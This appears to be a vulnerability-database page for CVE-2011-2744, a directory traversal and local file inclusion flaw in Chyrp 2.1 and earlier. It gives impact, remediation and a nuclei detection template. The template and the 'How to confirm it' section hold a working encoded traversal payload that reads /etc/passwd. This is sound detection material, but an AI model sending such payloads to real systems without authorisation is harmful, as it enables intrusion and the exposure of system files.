HexBrain

Browse / CVEs / CVE-2011-2744

CVE-2011-2744· chyrp / chyrp· CWE-22

Chyrp 2.x - Local File Inclusion

mediumseverity
6.8CVSS score
9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.

Fix

Upgrade Chyrp to the latest version or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2011-2744 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-2744

info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.
  remediation: |
    Upgrade Chyrp to the latest version or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/35945
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - https://nvd.nist.gov/vuln/detail/CVE-2011-2744
    - http://securityreason.com/securityalert/8312
    - http://www.ocert.org/advisories/ocert-2011-001.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2011-2744
    cwe-id: CWE-22
    epss-score: 0.0896
    epss-percentile: 0.95296
    cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chyrp
    product: chyrp
  tags: cve,cve2011,lfi,chyrp,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from